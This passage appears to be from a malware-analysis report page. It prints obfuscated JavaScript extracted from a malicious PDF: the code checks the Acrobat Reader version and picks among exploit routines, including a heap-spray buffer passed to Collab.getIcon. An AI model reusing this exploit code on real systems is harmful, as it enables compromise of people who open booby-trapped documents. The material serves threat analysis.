vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 8

Extracted artifacts 2